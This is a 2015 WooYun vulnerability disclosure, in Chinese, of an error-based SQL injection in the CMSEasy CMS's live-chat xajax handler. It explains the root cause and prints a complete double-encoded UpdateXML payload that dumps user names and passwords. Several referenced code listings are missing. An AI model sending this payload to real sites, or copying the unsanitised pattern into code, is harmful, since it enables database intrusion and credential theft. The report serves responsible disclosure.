漏洞概要 关注数(62) 关注此漏洞
缺陷编号: WooYun-2015-137013
漏洞标题: cmseasy 无限制报错注入(php函数的坑)
相关厂商: cmseasy
漏洞作者: menmen519
提交时间: 2015-08-26 10:30
公开时间: 2015-11-24 10:36
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: php源码审核
漏洞详情
披露状态:
2015-08-26: 细节已通知厂商并且等待厂商处理中
2015-08-26: 厂商已经确认,细节仅向厂商公开
2015-08-29: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-10-20: 细节向核心白帽子及相关领域专家公开
2015-10-30: 细节向普通白帽子公开
2015-11-09: 细节向实习白帽子公开
2015-11-24: 细节向公众公开
简要描述:
cmseasy 无限制报错注入(可获取全站信息exp)
详细说明:
问题还是出在clive 上面,但是跟以往的不同的是,xjxquery 这个上面就发生了问题,看代码:
xajax.class.php:
问题发生在哪里了:
parse_str($sQuery, $aArray);
这个函数,本身会对url编码进行一次decode的
测试一下
成立
第二处逻辑
如果gpc开启的话,它会进行一次stripslashes
以往的 注册函数有两个前台可以利用:
Postdata 和 LiveMessage
看看LiveMessage:
所有的参数都被addslashes
我们在看看:
Postdata
function Postdata($a) {
global $db;
$chatid = $_SESSION['chatid'];
$name = $_SESSION['name'];
$a['detail'] = htmlspecialchars($a['detail']);
if (!get_magic_quotes_gpc()) {
$a['detail'] = addslashes($a['detail']);
}
如果gpc开启的话,就不进行addslashes 好的 直接exp
发送url:
http://localhost/Cmseasy/celive/live/header.php
postdata:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520cmseasy_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
漏洞证明:
修复方案:
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2015-08-26 10:35
厂商回复:
谢谢
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值